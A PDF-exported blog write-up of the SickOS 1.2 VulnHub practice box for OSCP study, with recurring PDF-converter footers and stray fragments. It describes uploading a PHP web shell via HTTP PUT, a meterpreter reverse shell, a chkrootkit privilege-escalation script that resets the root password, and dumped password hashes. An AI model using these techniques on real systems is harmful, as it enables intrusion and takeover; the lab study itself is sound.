CTF - Boot2Root - SickOS 1.2
CTF - Boot2Root - SickOS 1.2
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
NOTES
Part of my OSCP pre-pwk-pre-exam education path, this is one of many recommended unofficial
practice boxes. SickOs 1.2 details (https://www.vulnhub.com/entry/sickos-12,144/). I'm not a
professional penetration tester and I'll probably fall down many rabbit holes but these are my
notes and thought process.
I'll follow this official OSCP exam guide and avoid using Metasploit as much as possible to aid my
learning. See notes below;
You may use the following against all of the target machines:
msfvenom
pattern_create.rb
pattern_offset.rb
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
OSCP Exam Restrictions
You cannot use any of the following on the exam:
Features in other tools that utilize either forbidden or restricted exam >limitations
Quiet's Theme
Stefanie Joosten
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Not Your Kind Of People
Garbage
Nuclear
Mike Old eld
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Verify the *.zip using PowerShell with get-filehash
ENUMERATION
Start off by finding the IP of the box. Its set up to use a DHCP lease as per the download
instructions
arp-scan 10.20.30.0/24
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Once found, start a TCP port scan.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Left a UDP scan going just in case.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Key findings are below;
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ba:86:f5:ee:cc:83:df:a6:3f:fd:c1:34:bb:7e:62:ab (RSA)
|_ 256 a1:6c:fa:18:da:57:1d:33:2c:52:e4:ec:97:e2:9e:af (ECDSA)
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Quick check of the file
Brute force a directory listing of the web server. Set dirb off against the root of the web server.
Check https://tools.kali.org/tools-listing for more information about dirb
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Start mapping the web application on both /TEST and /.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
I follow / read / reference The Web Application Handbook 2 specifically CHAPTER 21 A WEB
APPLICATION HACKER’S METHODOLOGY. Page 799 has this gem.
2.2.1 Identify all entry points for user input, including URLs, query string parameters,
POST data, cookies, and other HTTP headers processed by the application.
Hackbar is a simple penetration tool for Firefox. It helps in testing simple SQL injection
and XSS holes. You cannot execute standard exploits but you can easily use it to test
whether vulnerability exists or not You can also manually submit form data with GET
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
whether vulnerability exists or not. You can also manually submit form data with GET
or POST requests
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
or a new favourite POSTMAN
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Or super elite via the cmdline.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
So we can basically POST/PUT to http://10.20.30.128/test/ - catastrophic.
EXPLOITATION
Reverse shell / web shell backdoor seems the appropriate path. A 'Simple' one found here;
https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/php/simple-backdoor.php
You can use https://github.com/postmanlabs to help compile the syntax for either WGET/cURL
to push the file up or just to get you started.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Took a few attempts to get right...
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
BOOM! (╯°□° )╯︵ ┻━┻
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Let's create a PHP meterpreter reverse TCP shell.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
No connection was found. :'(
I changed port to 443 as IPtables might be active on the host and it worked!
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
FYI. If you need to view / kill jobs.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
PRIVILEGE ESCALATION
My 1-2. These help automate the tasks of finding out about the system. Time is precious.
Key findings I picked out. Either out of the norm or exploits I've heard that have reliable impact
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
or are very common.
I tried the Dirty Cow exploits without luck Had to reset my machine at some point too
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
I tried the Dirty Cow exploits without luck. Had to reset my machine at some point too.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
I moved on and back to the enumeration script output.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Check version
/usr/sbin/chkrootkit -V
chkrootkit version 0.49
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Now this is exploitable a few ideas we can do.
!#/bin/bash
echo "w00t" | passwd --stdin root
and then
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
!#/bin/bash
echo "root:w00t" | chpasswd
mv update /tmp/
ls -lash /tmp
total 24K
4.0K drwxrwxrwt 4 root root 4.0K Sep 13 10:55 .
4.0K drwxr-xr-x 22 root root 4.0K Mar 30 2016 ..
4.0K drwxrwxrwt 2 root root 4.0K Sep 13 10:40 VMwareDnD
0 srwxr-xr-x 1 www-data www-data 0 Sep 13 10:40 php.socket-0
4.0K -rw-r--r-- 1 www-data www-data 12 Sep 13 10:54 update
wait!
chmod +x /tmp/update
ls -lash /tmp/update
4.0K -rwxr-xr-x 1 www-data www-data 12 Sep 13 10:54 /tmp/update
tail -f /var/log/syslog
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
FYI, Bash shell breakout. More here
I gave up with changing the root password on moved onto dumping the password hashes.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
root:$6$DT8ti3eq$pMlNEf0pGecTc.37FsJQBG17YioEa8X1Nmq63Qqnx66b8L/EYsz3sBtyRhoDnGu4uEOA.SCcagQm9Kc
john:$6$6rHHymgb$11NJYyJJGRU7KW006odutnwRICmL.al76o4DIyjilr50XSUOpFQdhRHv29Zrv9XEWqAp8ah4wJv.nkg
These are salted hashes and therefore difficult to crack (for me atm).
I ended up researching a bit more as maybe I was barking up the wrong tree with my ideas.
A th id t t id /bi / h ( i i l id ) th id b hi d thi
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Another idea was to use setuid on /bin/sh (original idea) - the idea behind this;
If you setuid on a binary, you’re telling the operating system that you want this binary
to always be executed as the user owner of the binary. Be smart with setuid! Anything
higher than 4750 can be very dangerous as it allows the world to run the binary as the
root user
kudos https://major.io/2007/02/13/chmod-and-the-mysterious-first-octet/
:D
browsing to /root/
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Just to see why connectivity was a pain at first. Displaying IPtables...
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
CAT TAX - Popping boxes is obviously too much for some.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Mark Read More
Read more posts by this author.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
GRRCON CTF
#GrrCon 2017 #DFIR #CTF challenge. Several host images If you've not figured out, this is a write-up and will contain
and memory dumps need to be analysed and investigated. spoilers NOTES Part of my OSCP pre-pwk-pre-exam
Submit IOCs as you progress... education path, this is one of many recommended unofficial
practice
MARKboxes. SickOs details (https:
MARK
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD